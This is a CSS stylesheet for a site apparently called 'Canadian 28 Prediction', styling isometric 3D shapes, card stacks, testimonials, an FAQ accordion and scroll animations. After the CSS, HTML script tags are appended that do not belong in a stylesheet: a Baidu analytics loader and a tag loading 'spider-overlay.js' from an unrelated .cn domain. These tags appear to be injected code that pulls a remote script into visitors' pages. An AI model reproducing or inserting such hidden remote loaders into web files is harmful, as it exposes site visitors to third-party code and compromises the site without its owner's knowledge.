﻿/* ============================================
   Canadian 28 Prediction - Isometric 3D Styles
   ============================================ */

/* --- Base & Smooth Scroll --- */
html {
    scroll-behavior: smooth;
}

body {
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
}

/* --- Selection --- */
::selection {
    background: rgba(79, 70, 229, 0.4);
    color: #fff;
}

/* --- Navbar Glass Effect --- */
#navbar {
    background: rgba(15, 23, 42, 0.75);
    backdrop-filter: blur(20px);
    -webkit-backdrop-filter: blur(20px);
    border-bottom: 1px solid rgba(99, 102, 241, 0.1);
}

#navbar.scrolled {
    background: rgba(15, 23, 42, 0.92);
    border-bottom: 1px solid rgba(99, 102, 241, 0.2);
}

/* --- Logo Hex Container --- */
.logo-hex {
    background: linear-gradient(135deg, rgba(79, 70, 229, 0.3), rgba(99, 102, 241, 0.15));
    clip-path: polygon(50% 0%, 100% 25%, 100% 75%, 50% 100%, 0% 75%, 0% 25%);
    border: 1px solid rgba(245, 158, 11, 0.25);
}

/* --- Isometric Grid Background --- */
.isometric-grid {
    background-image:
        linear-gradient(rgba(99, 102, 241, 0.3) 1px, transparent 1px),
        linear-gradient(90deg, rgba(99, 102, 241, 0.3) 1px, transparent 1px),
        linear-gradient(60deg, rgba(245, 158, 11, 0.1) 1px, transparent 1px),
        linear-gradient(120deg, rgba(245, 158, 11, 0.1) 1px, transparent 1px);
    background-size: 60px 60px;
    background-position: center center;
}

/* ============================================
   HERO - Isometric 3D Shapes
   ============================================ */

.hero-perspective {
    perspective: 1000px;
    perspective-origin: center center;
}

.shape {
    position: absolute;
    opacity: 0.15;
    pointer-events: none;
}

/* Hex shapes */
.shape-hex::after {
    content: '';
    display: block;
    width: 100%;
    height: 100%;
    clip-path: polygon(50% 0%, 100% 25%, 100% 75%, 50% 100%, 0% 75%, 0% 25%);
    background: linear-gradient(135deg, #6366f1, #4f46e5);
}

/* Diamond shapes */
.shape-diamond::after {
    content: '';
    display: block;
    width: 100%;
    height: 100%;
    clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%);
    background: linear-gradient(135deg, #f59e0b, #d97706);
}

/* Cube shapes */
.shape-cube {
    border: 2px solid rgba(99, 102, 241, 0.5);
    transform: rotateX(55deg) rotateZ(45deg);
}

/* Pyramid shapes */
.shape-pyramid {
    width: 0;
    height: 0;
    border-left: 40px solid transparent;
    border-right: 40px solid transparent;
    border-bottom: 70px solid;
    border-bottom-color: rgba(245, 158, 11, 0.3);
}

/* Shape positions & sizes */
.shape-1 { top: 8%; left: 5%; width: 80px; height: 80px; animation: isometricFloat 8s ease-in-out infinite; }
.shape-2 { top: 60%; left: 8%; width: 50px; height: 50px; animation: isometricFloat 6s ease-in-out 1s infinite; }
.shape-3 { top: 15%; right: 10%; width: 60px; height: 60px; animation: isometricFloat 7s ease-in-out 0.5s infinite; }
.shape-4 { top: 70%; right: 5%; width: 40px; height: 40px; animation: isometricFloat 9s ease-in-out 1.5s infinite; }
.shape-5 { top: 30%; left: 35%; width: 40px; height: 40px; animation: isometricFloat 7.5s ease-in-out 0.8s infinite; }
.shape-6 { bottom: 20%; right: 25%; width: 45px; height: 45px; animation: isometricFloat 8.5s ease-in-out 2s infinite; }
.shape-7 { top: 40%; left: 12%; border-left-width: 20px; border-right-width: 20px; border-bottom-width: 35px; animation: isometricFloat 6.5s ease-in-out 0.3s infinite; }
.shape-8 { top: 75%; right: 15%; border-left-width: 25px; border-right-width: 25px; border-bottom-width: 40px; animation: isometricFloat 7.8s ease-in-out 1.2s infinite; }

/* ============================================
   HERO - Card Stack (Isometric 3D)
   ============================================ */

.card-stack-container {
    position: relative;
    perspective: 1000px;
    transform-style: preserve-3d;
}

.stack-card {
    background: linear-gradient(135deg, rgba(30, 41, 59, 0.95), rgba(15, 23, 42, 0.98));
    border: 1px solid rgba(99, 102, 241, 0.2);
    border-radius: 16px;
    backdrop-filter: blur(10px);
    transition: transform 0.5s ease, box-shadow 0.5s ease;
}

.stack-card-back {
    position: absolute;
    top: 30px;
    left: 30px;
    right: -30px;
    bottom: -30px;
    transform: rotateX(5deg) rotateY(-3deg) translateZ(-30px);
    box-shadow:
        0 10px 30px rgba(0, 0, 0, 0.4),
        0 20px 60px rgba(79, 70, 229, 0.1);
    z-index: 1;
}

.stack-card-mid {
    position: absolute;
    top: 15px;
    left: 15px;
    right: -15px;
    bottom: -15px;
    transform: rotateX(3deg) rotateY(-2deg) translateZ(-10px);
    box-shadow:
        0 8px 25px rgba(0, 0, 0, 0.4),
        0 15px 45px rgba(79, 70, 229, 0.12);
    z-index: 3;
}

.stack-card-front {
    position: relative;
    z-index: 5;
    transform: rotateX(2deg) rotateY(-4deg);
    box-shadow:
        0 4px 15px rgba(0, 0, 0, 0.3),
        0 8px 30px rgba(0, 0, 0, 0.3),
        0 15px 40px rgba(79, 70, 229, 0.15),
        0 0 0 1px rgba(99, 102, 241, 0.15);
    animation: depthPulse 4s ease-in-out infinite;
}

.card-stack-container:hover .stack-card-front {
    transform: rotateX(0deg) rotateY(0deg);
}

.card-stack-container:hover .stack-card-mid {
    transform: rotateX(0deg) rotateY(0deg) translateZ(-5px);
}

.card-stack-container:hover .stack-card-back {
    transform: rotateX(0deg) rotateY(0deg) translateZ(-20px);
}

/* ============================================
   FEATURE CARDS - 3D Hover Effects
   ============================================ */

.feature-card {
    perspective: 1000px;
}

.feature-card-inner {
    position: relative;
    background: linear-gradient(135deg, rgba(30, 41, 59, 0.8), rgba(15, 23, 42, 0.9));
    border: 1px solid rgba(99, 102, 241, 0.12);
    border-radius: 20px;
    padding: 2rem;
    transition: transform 0.5s ease, box-shadow 0.5s ease, border-color 0.5s ease;
    transform-style: preserve-3d;
    box-shadow:
        0 4px 15px rgba(0, 0, 0, 0.2),
        0 8px 25px rgba(0, 0, 0, 0.15);
    cursor: default;
    overflow: hidden;
}

.feature-card-inner::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    border-radius: 20px;
    background: linear-gradient(135deg, rgba(99, 102, 241, 0.05), rgba(245, 158, 11, 0.03));
    opacity: 0;
    transition: opacity 0.5s ease;
}

.group:hover .feature-card-inner {
    transform: perspective(1000px) rotateX(2deg) rotateY(-5deg) translateZ(10px);
    border-color: rgba(99, 102, 241, 0.35);
    box-shadow:
        0 8px 25px rgba(0, 0, 0, 0.3),
        0 16px 40px rgba(0, 0, 0, 0.2),
        0 4px 15px rgba(79, 70, 229, 0.15),
        0 8px 30px rgba(79, 70, 229, 0.1);
}

.group:hover .feature-card-inner::before {
    opacity: 1;
}

/* Feature Icon Container - Hexagon Clip Path */
.feature-icon-wrap {
    width: 56px;
    height: 56px;
    margin-bottom: 1.25rem;
    display: flex;
    align-items: center;
    justify-content: center;
    position: relative;
    z-index: 1;
    transition: transform 0.5s ease;
}

.feature-icon-wrap::before {
    content: '';
    position: absolute;
    inset: -4px;
    background: linear-gradient(135deg, #4f46e5, #6366f1);
    clip-path: polygon(50% 0%, 100% 25%, 100% 75%, 50% 100%, 0% 75%, 0% 25%);
    z-index: -1;
    opacity: 0.2;
    transition: opacity 0.5s ease;
}

.feature-icon-wrap i {
    font-size: 1.5rem;
    color: #818cf8;
    transition: color 0.5s ease, transform 0.5s ease;
}

.group:hover .feature-icon-wrap {
    transform: translateZ(20px);
}

.group:hover .feature-icon-wrap::before {
    opacity: 0.4;
}

.group:hover .feature-icon-wrap i {
    color: #f59e0b;
    transform: scale(1.1);
}

/* ============================================
   STAT CARDS - 3D Layered Depth
   ============================================ */

.stat-card {
    background: linear-gradient(135deg, rgba(30, 41, 59, 0.85), rgba(15, 23, 42, 0.9));
    border: 1px solid rgba(99, 102, 241, 0.1);
    border-radius: 20px;
    transition: transform 0.5s ease, box-shadow 0.5s ease;
    position: relative;
}

.stat-depth-1 {
    box-shadow:
        0 4px 12px rgba(0, 0, 0, 0.2),
        0 8px 24px rgba(0, 0, 0, 0.15);
}
.stat-depth-1:hover {
    transform: perspective(800px) rotateX(2deg) rotateY(-3deg) translateZ(5px);
}
.stat-depth-2 {
    box-shadow:
        0 4px 12px rgba(0, 0, 0, 0.2),
        0 12px 32px rgba(0, 0, 0, 0.18),
        0 0 0 1px rgba(79, 70, 229, 0.08);
}
.stat-depth-2:hover {
    transform: perspective(800px) rotateX(3deg) rotateY(-4deg) translateZ(10px);
}
.stat-depth-3 {
    box-shadow:
        0 4px 12px rgba(0, 0, 0, 0.2),
        0 16px 40px rgba(0, 0, 0, 0.2),
        0 0 0 2px rgba(79, 70, 229, 0.1);
}
.stat-depth-3:hover {
    transform: perspective(800px) rotateX(4deg) rotateY(-5deg) translateZ(15px);
}
.stat-depth-4 {
    box-shadow:
        0 4px 12px rgba(0, 0, 0, 0.2),
        0 20px 50px rgba(0, 0, 0, 0.22),
        0 0 0 2px rgba(245, 158, 11, 0.12);
}
.stat-depth-4:hover {
    transform: perspective(800px) rotateX(5deg) rotateY(-6deg) translateZ(20px);
}

.stat-card:hover {
    border-color: rgba(245, 158, 11, 0.3);
    box-shadow:
        0 8px 25px rgba(0, 0, 0, 0.3),
        0 20px 50px rgba(79, 70, 229, 0.15),
        0 0 0 2px rgba(245, 158, 11, 0.15);
}

.stat-icon {
    width: 64px;
    height: 64px;
    margin: 0 auto;
    display: flex;
    align-items: center;
    justify-content: center;
    background: linear-gradient(135deg, rgba(79, 70, 229, 0.2), rgba(99, 102, 241, 0.1));
    border-radius: 16px;
    color: #818cf8;
}
.stat-card:hover .stat-icon {
    color: #f59e0b;
    background: linear-gradient(135deg, rgba(245, 158, 11, 0.15), rgba(79, 70, 229, 0.15));
}

/* ============================================
   TESTIMONIAL CARDS - Staggered Z-Stack
   ============================================ */

.testimonial-stack {
    perspective: 1000px;
}

.testimonial-card {
    background: linear-gradient(135deg, rgba(30, 41, 59, 0.9), rgba(15, 23, 42, 0.95));
    border: 1px solid rgba(99, 102, 241, 0.12);
    border-radius: 20px;
    padding: 2rem;
    position: relative;
    transition: transform 0.5s ease, box-shadow 0.5s ease, border-color 0.5s ease;
}

.testimonial-card-1 {
    z-index: 3;
    transform: translateZ(0);
    box-shadow:
        0 4px 15px rgba(0, 0, 0, 0.3),
        0 8px 30px rgba(79, 70, 229, 0.08);
    margin-bottom: -20px;
}
.testimonial-card-1:hover {
    transform: perspective(800px) rotateX(1deg) translateZ(8px);
    border-color: rgba(245, 158, 11, 0.25);
}

.testimonial-card-2 {
    z-index: 2;
    transform: translateZ(-10px) scale(0.97);
    box-shadow:
        0 4px 15px rgba(0, 0, 0, 0.25),
        0 8px 25px rgba(79, 70, 229, 0.06);
    margin-bottom: -20px;
}
.testimonial-card-2:hover {
    transform: perspective(800px) rotateX(1deg) translateZ(4px) scale(0.98);
    border-color: rgba(245, 158, 11, 0.25);
}

.testimonial-card-3 {
    z-index: 1;
    transform: translateZ(-20px) scale(0.94);
    box-shadow:
        0 4px 15px rgba(0, 0, 0, 0.2),
        0 8px 20px rgba(79, 70, 229, 0.04);
}
.testimonial-card-3:hover {
    transform: perspective(800px) rotateX(1deg) translateZ(0) scale(0.95);
    border-color: rgba(245, 158, 11, 0.25);
}

.testimonial-avatar {
    width: 48px;
    height: 48px;
    border-radius: 14px;
    background: linear-gradient(135deg, rgba(79, 70, 229, 0.3), rgba(99, 102, 241, 0.15));
    display: flex;
    align-items: center;
    justify-content: center;
    border: 1px solid rgba(99, 102, 241, 0.2);
}

/* ============================================
   FAQ - Accordion with 3D Depth
   ============================================ */

.faq-item {
    background: linear-gradient(135deg, rgba(30, 41, 59, 0.7), rgba(15, 23, 42, 0.8));
    border: 1px solid rgba(99, 102, 241, 0.1);
    border-radius: 16px;
    overflow: hidden;
    transition: border-color 0.4s ease, box-shadow 0.4s ease;
    box-shadow:
        0 2px 8px rgba(0, 0, 0, 0.15),
        0 4px 16px rgba(0, 0, 0, 0.1);
}

.faq-item:hover {
    border-color: rgba(99, 102, 241, 0.2);
    box-shadow:
        0 4px 12px rgba(0, 0, 0, 0.2),
        0 8px 24px rgba(79, 70, 229, 0.08);
}

.faq-item.active {
    border-color: rgba(245, 158, 11, 0.25);
    box-shadow:
        0 4px 15px rgba(0, 0, 0, 0.2),
        0 8px 30px rgba(79, 70, 229, 0.1),
        inset 0 0 0 1px rgba(245, 158, 11, 0.05);
}

.faq-content {
    max-height: 0;
    overflow: hidden;
    transition: max-height 0.4s ease, padding 0.4s ease;
}

.faq-item.active .faq-content {
    max-height: 300px;
}

.faq-item.active .faq-icon {
    transform: rotate(45deg);
}

/* ============================================
   CTA - Isometric Floating Shapes
   ============================================ */

.cta-perspective {
    perspective: 800px;
}

.cta-shape {
    position: absolute;
    border-radius: 12px;
    opacity: 0.08;
    pointer-events: none;
}

.cta-shape-1 {
    top: 10%;
    left: 5%;
    width: 70px;
    height: 70px;
    background: linear-gradient(135deg, #6366f1, #4f46e5);
    clip-path: polygon(50% 0%, 100% 25%, 100% 75%, 50% 100%, 0% 75%, 0% 25%);
    animation: rotateIn3D 12s linear infinite;
}

.cta-shape-2 {
    top: 60%;
    right: 8%;
    width: 50px;
    height: 50px;
    background: linear-gradient(135deg, #f59e0b, #d97706);
    border-radius: 8px;
    transform: rotateX(55deg) rotateZ(45deg);
    animation: isometricFloat 7s ease-in-out infinite;
}

.cta-shape-3 {
    bottom: 15%;
    left: 15%;
    width: 45px;
    height: 45px;
    border: 2px solid rgba(99, 102, 241, 0.3);
    transform: rotateX(60deg) rotateZ(40deg);
    animation: isometricFloat 8s ease-in-out 1s infinite;
}

.cta-shape-4 {
    top: 25%;
    right: 20%;
    width: 55px;
    height: 55px;
    clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%);
    background: linear-gradient(135deg, rgba(245, 158, 11, 0.5), rgba(99, 102, 241, 0.5));
    animation: rotateIn3D 10s linear 1s infinite reverse;
}

/* ============================================
   FOOTER - Geometric Decorations
   ============================================ */

.hex-decoration {
    background: rgba(245, 158, 11, 0.04);
    clip-path: polygon(50% 0%, 100% 25%, 100% 75%, 50% 100%, 0% 75%, 0% 25%);
    opacity: 0.3;
}

/* ============================================
   KEYFRAME ANIMATIONS
   ============================================ */

/* Isometric Float - 3D floating in isometric space */
@keyframes isometricFloat {
    0%, 100% {
        transform: translateY(0px) translateZ(0px) rotateX(55deg) rotateZ(45deg);
    }
    25% {
        transform: translateY(-15px) translateZ(20px) rotateX(58deg) rotateZ(48deg);
    }
    50% {
        transform: translateY(-8px) translateZ(5px) rotateX(52deg) rotateZ(42deg);
    }
    75% {
        transform: translateY(-20px) translateZ(25px) rotateX(57deg) rotateZ(47deg);
    }
}

/* Rotate in 3D */
@keyframes rotateIn3D {
    0% {
        transform: rotateX(55deg) rotateZ(0deg);
    }
    100% {
        transform: rotateX(55deg) rotateZ(360deg);
    }
}

/* Stack Reveal - card stack animating into view */
@keyframes stackReveal {
    0% {
        opacity: 0;
        transform: translateY(30px) rotateX(10deg) scale(0.9);
    }
    60% {
        opacity: 1;
        transform: translateY(-5px) rotateX(-2deg) scale(1.02);
    }
    100% {
        opacity: 1;
        transform: translateY(0) rotateX(0) scale(1);
    }
}

/* Depth Pulse - subtle 3D breathing effect */
@keyframes depthPulse {
    0%, 100% {
        box-shadow:
            0 4px 15px rgba(0, 0, 0, 0.3),
            0 8px 30px rgba(0, 0, 0, 0.3),
            0 15px 40px rgba(79, 70, 229, 0.15),
            0 0 0 1px rgba(99, 102, 241, 0.15);
    }
    50% {
        box-shadow:
            0 6px 20px rgba(0, 0, 0, 0.35),
            0 12px 40px rgba(0, 0, 0, 0.32),
            0 20px 50px rgba(79, 70, 229, 0.2),
            0 0 0 2px rgba(99, 102, 241, 0.2);
    }
}

/* ============================================
   REVEAL ON SCROLL (base hidden state)
   ============================================ */

.reveal {
    opacity: 0;
    transform: translateY(40px);
    transition: opacity 0.8s ease, transform 0.8s ease;
}

.reveal.visible {
    opacity: 1;
    transform: translateY(0);
}

/* Staggered reveal for children */
.reveal-stagger > * {
    opacity: 0;
    transform: translateY(30px);
    transition: opacity 0.6s ease, transform 0.6s ease;
}

.reveal-stagger.visible > *:nth-child(1) { transition-delay: 0s; opacity: 1; transform: translateY(0); }
.reveal-stagger.visible > *:nth-child(2) { transition-delay: 0.1s; opacity: 1; transform: translateY(0); }
.reveal-stagger.visible > *:nth-child(3) { transition-delay: 0.2s; opacity: 1; transform: translateY(0); }
.reveal-stagger.visible > *:nth-child(4) { transition-delay: 0.3s; opacity: 1; transform: translateY(0); }
.reveal-stagger.visible > *:nth-child(5) { transition-delay: 0.4s; opacity: 1; transform: translateY(0); }
.reveal-stagger.visible > *:nth-child(6) { transition-delay: 0.5s; opacity: 1; transform: translateY(0); }

/* ============================================
   CTA BUTTON - Primary animation
   ============================================ */

.cta-primary-btn {
    position: relative;
    overflow: hidden;
}

.cta-primary-btn::after {
    content: '';
    position: absolute;
    top: 0;
    left: -100%;
    width: 100%;
    height: 100%;
    background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.1), transparent);
    transition: left 0.6s ease;
}

.cta-primary-btn:hover::after {
    left: 100%;
}

/* ============================================
   RESPONSIVE ADJUSTMENTS
   ============================================ */

@media (max-width: 1024px) {
    .stack-card-back,
    .stack-card-mid {
        display: none;
    }

    .testimonial-card-2 {
        transform: none;
        margin-bottom: 20px;
    }
    .testimonial-card-3 {
        transform: none;
        margin-bottom: 0;
    }
    .testimonial-card {
        margin-bottom: 20px;
    }
}

@media (max-width: 640px) {
    .shape {
        transform: scale(0.6);
    }

    .stat-card:hover {
        transform: translateY(-4px);
    }
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

